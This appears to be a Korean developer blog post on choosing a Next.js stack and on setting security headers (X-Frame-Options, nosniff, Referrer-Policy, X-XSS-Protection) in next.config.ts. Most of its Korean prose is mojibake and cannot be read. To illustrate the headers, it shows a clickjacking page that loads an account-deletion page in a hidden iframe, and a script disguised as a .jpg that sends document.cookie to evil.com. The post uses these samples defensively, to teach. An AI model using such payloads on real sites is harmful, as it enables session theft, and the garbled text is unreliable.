๋ค์ด๊ฐ๋ฉฐ
TypeScript ๊ธฐ๋ฐ์ ๋น ๋ฅธ ํ์คํ ๊ฐ๋ฐ์ ์ํด NextJS ์ธํ ๊ณผ์ ์์ ๋ค๋ฅธ ๊ธฐ์ ์คํ์ ์ ํ๋ ๊ณผ์ ์ ๋๋ค.
์ ํด์ผ ํ๋ ๋ถ๋ถ์ด ์ํ๊ด๋ฆฌ, ์๋ฒ ์ํ๊ด๋ฆฌ, ์คํ์ผ๋ง ํํธ์์ต๋๋ค.
์ํ๊ด๋ฆฌ : Zustand
Zustand๋ก ์งํํ์ฌ ๋ณด์ผ๋ฌ ํ๋ ์ดํธ ์ฝ๋๊ฐ ๋ง์ Redux ๋ณด๋ค๋ ๋น ๋ฅธ ๊ฐ๋ฐ์ด ๊ฐ๋ฅํ๋ค๊ณ ์๊ฐํ์ต๋๋ค.
์๋ฒ ์ํ ๊ด๋ฆฌ : tanstack query
๋ค์์ ์๋ฒ ์ํ ๊ด๋ฆฌ์๋๋ฐ, ๊ฐ์ฅ ์ธ๊ธฐ์๊ณ , Zustand์ ํธํ์ฑ์ด ๋์ Tanstack query๋ฅผ ํตํด์ ํด๋ผ์ด์ธํธ์์๋ Zustand, ์๋ฒ์์๋ Tanstack query๋ก ์ญํ ์ ๋ถ๋ฆฌํ๊ธฐ๋ก ํ์ต๋๋ค. ํนํ NextJS 14์ App Router ๋ฅผ ์ง์ํ๋ฏ๋ก Server components์์ ํธํ์ฑ์ด ๋๋ค๋ ์ฅ์ ์ด ์์ต๋๋ค.
์คํ์ผ๋ง : tailwindcss + shadcn UI
๊ทธ๋ผ ๊ทธ ๋ค์์ ์คํ์ผ๋ง์ธ๋ฐ, ๊ธฐ์กด์๋ TailwindCSS ๊ธฐ๋ฐ์ shadcn UI๋ฅผ ์ฌ์ฉํด๋ณธ ๊ฒฝํ์ด ์์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ต๊ทผ ๊ณต๊ณ ์ Emotion๊ณผ Styled-Components ์ ๋ํ ์๊ตฌ์ฌํญ์ด ๊ฝค ๋ณด์ด๊ธธ๋ ๊ณ ๋ฏผ์ด ๋์์ต๋๋ค.
๊ทธ๋ฌ๋ Emotion์ Nextjs์์ ์ ๊ณตํ๋ Server Component์์ ์ฌ์ฉ์ด ๋ถ๊ฐ๋ฅ ํ๊ธฐ ๋๋ฌธ์ NextJS๋ก ์ฐ์ ํ์คํ์ ๊ตฌ์ถํ์๋ ์ฐ์ ์์์ ๋ฐ๋ ธ์ต๋๋ค.
Styled-components๋ NextJS 14 App Router ํธํ์ฑ ์ด์๊ฐ ์๊ณ , ์ต๊ทผ์๋ ๋ง์ด ์์ฐ๋ ์ถ์ธ์ด๋ฏ๋ก TailwindCSS ๊ธฐ๋ฐ shadcn ui๋ฅผ ์งํํ๊ธฐ๋ก ํ์ต๋๋ค.
์ต๊ทผ NextJS์ RSC ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ฉด์
App Router ๋ฐฉ์์์ ์๋ฒ ์ปดํฌ๋ํธ์ ์ง์ ์ ๊ทผํ๋ ๋ณด์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ค๊ณ ๋ค์์ต๋๋ค. ๋ฐ๋ผ์ NextJS ๋ฒ์ ์ ๊ถ์ฅํ๊ณ ์๋ 15.5.9+ ๋ฒ์ ์ผ๋ก NextJS๋ฅผ ์ฌ์ฉํ๋ ค ํฉ๋๋ค.
๋, TypeScript ๋ฐํ์ ๊ฒ์ฆ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ธ Zod๋ฅผ ์ด๊ธฐ์ ์ธํ ํ๊ณ , ์ฑ ๋์ ๋ฐฉ์ ์ค์ ํ๋ next.config.ts ํ์ผ์์ ๋ณด์ ํค๋๋ฅผ ์ค์ ํ์ต๋๋ค.
next.config.ts ํ์ผ์์ ๋ณด์ ํค๋ ์ถ๊ฐํ๊ธฐ
// next.config.ts
import type { NextConfig } from 'next'
const nextConfig: NextConfig = {
// X-Powered-By ํค๋ ์ ๊ฑฐ (Next.js ์ฌ์ฉ ์จ๊ธฐ๊ธฐ)
poweredByHeader: false,
// ๋ณด์ ํค๋ ์ถ๊ฐ
async headers() {
return [
{
source: '/:path*',
headers: [
{
key: 'X-Frame-Options',
value: 'DENY' // iframe ์ฝ์
๋ฐฉ์ง
},
{
key: 'X-Content-Type-Options',
value: 'nosniff' // MIME ํ์
์ค๋ํ ๋ฐฉ์ง
},
{
key: 'Referrer-Policy',
value: 'strict-origin-when-cross-origin'
}
]
}
]
}
}
export default nextConfig
1. powerByHeader : false
HTTP ์๋ต ํค๋์์ X-Powered-By : Next.js ์ ๊ฑฐ๋ฅผ ํตํด ์ด๋ค ๋ณด์์ ์ฐ๋์ง ์์ ์จ๊น๋๋ค.
2. X-Frame-Options: DENY
๋ค๋ฅธ ์ฌ์ดํธ์์ ๋ด ์ฌ์ดํธ๋ฅผ <iframe>์ผ๋ก ์ฝ์ ํ๋ ๊ฒ ์ฐจ๋จ
<iframe>์ ์ฝ์ ํ๋ ๊ณต๊ฒฉ์ธ Clickjacking์ ๋ฐฉ์ดํฉ๋๋ค.
<!-- ์
์ฑ ์ฌ์ดํธ (evil.com) -->
<style>
iframe {
opacity: 0; /* ํฌ๋ช
ํ๊ฒ */
position: absolute;
width: 100%;
height: 100%;
}
button {
position: absolute;
top: 100px;
}
</style>
<!-- ํผํด์ ์ฌ์ดํธ๋ฅผ ํฌ๋ช
ํ iframe์ผ๋ก ์ฝ์
-->
<iframe src="https://preterview.com/delete-account"></iframe>
<!-- ์ฌ์ฉ์๋ ์ด ๋ฒํผ์ ๋๋ฅด๋ ์ค ์์ง๋ง... -->
<button>๋ฌด๋ฃ ์ ๋ฌผ ๋ฐ๊ธฐ!</button>
<!-- ์ค์ ๋ก๋ ํฌ๋ช
ํ iframe์ "๊ณ์ ์ญ์ " ๋ฒํผ์ ๋๋ฆ! -->
X-Frame-Options: DENY
๋ธ๋ผ์ฐ์ ๊ฐ iframe ๋ก๋ฉ ์์ฒด๋ฅผ ์ฐจ๋จํฉ๋๋ค.
์ต์ ์๋
// 1. DENY - ๋ชจ๋ iframe ์ฐจ๋จ
value: 'DENY'
// 2. SAMEORIGIN - ๊ฐ์ ๋๋ฉ์ธ์์๋ง ํ์ฉ
value: 'SAMEORIGIN'
// 3. ALLOW-FROM (๊ตฌ์, ์ ์)
value: 'ALLOW-FROM https://trusted.com'
๋ค๋ฅธ ์ฌ์ดํธ์ iframe์ผ๋ก ์ฝ์ ๋ ์ด์ ๊ฐ ์์ง ์๊ธฐ ๋๋ฌธ์ DENY๋ฅผ ์ค์ ํ์ต๋๋ค.
3. X-Content-Type-Options: nosniff
// ๊ณต๊ฒฉ์๊ฐ ์ด๋ฏธ์ง ์
๋ก๋ ๊ธฐ๋ฅ ์
์ฉ
// 1. ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ .jpg๋ก ์์ฅ
// malicious.jpg (์ค์ ๋ด์ฉ)
<script>
// ์ฌ์ฉ์ ์ฟ ํค ํ์น๊ธฐ
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
// 2. ์๋ฒ๋ Content-Type: image/jpeg๋ก ์๋ต
// 3. ๋ธ๋ผ์ฐ์ ๊ฐ ๋ด์ฉ ๋ณด๊ณ "์ด? ์ด๊ฑฐ HTML/JS๋ค?" → ์คํ!
// ๊ฒฐ๊ณผ: XSS ๊ณต๊ฒฉ ์ฑ๊ณต
์ฆ, Content-Type ์ด image/jpeg๋ผ๋ฉด ๋ฌด์กฐ๊ฑด ์ด๋ฏธ์ง๋ก๋ง ์ฒ๋ฆฌํจ์ผ๋ก์จ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ .jpg๋ก ์์ฅํ ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ ์ ์์ต๋๋ค.
4. Referrer-Policy: strict-origin-when-cross-origin
๋ค๋ฅธ ์ฌ์ดํธ๋ก ์ด๋ํ ๋ ๋ฏผ๊ฐํ URL ์ ๋ณด ๋ ธ์ถ์ ๋ฐฉ์งํฉ๋๋ค.
// ์ฌ์ฉ์๊ฐ Preterview์์ ๋งํฌ ํด๋ฆญ
// URL: https://preterview.com/interview/session?token=abc123&user=kim
// โ Referrer-Policy ์์ผ๋ฉด
// ์ธ๋ถ ์ฌ์ดํธ(evil.com)๋ก ์ด๋ ์ HTTP ํค๋์ ์ ์ฒด URL ๋
ธ์ถ
Referer: https://preterview.com/interview/session?token=abc123&user=kim
↑ ํ ํฐ, ์ฌ์ฉ์ ์ ๋ณด ๋ค ๋
ธ์ถ!
// โ
strict-origin-when-cross-origin
// ์ธ๋ถ ์ฌ์ดํธ๋ก ์ด๋ ์ ๋๋ฉ์ธ๋ง ์ ์ก
Referer: https://preterview.com
↑ ๋ฏผ๊ฐํ ํ๋ผ๋ฏธํฐ ์ ๊ฑฐ๋จ
์ถ๊ฐ๋ก
5. X-XSS-Protection
{
key: 'X-XSS-Protection',
value: '1; mode=block'
}
mode=block ์ ํตํด XSS ๊ฐ์ง ์ ํ์ด์ง ๋ ๋๋ง์ ์ฐจ๋จํ์ฌ ๊ณต๊ฒฉ์ ๋ฐฉ์งํฉ๋๋ค. ์ต์ ๋ธ๋ผ์ฐ์ ์์๋ CSP๋ก ๋์ฒด๋๋ค๊ณ ํ๋๋ฐ ๊ตฌํ ๋ธ๋ผ์ฐ์ ๋์์ฉ์ผ๋ก ์ถ๊ฐํ๋ฉด ์ข์ต๋๋ค.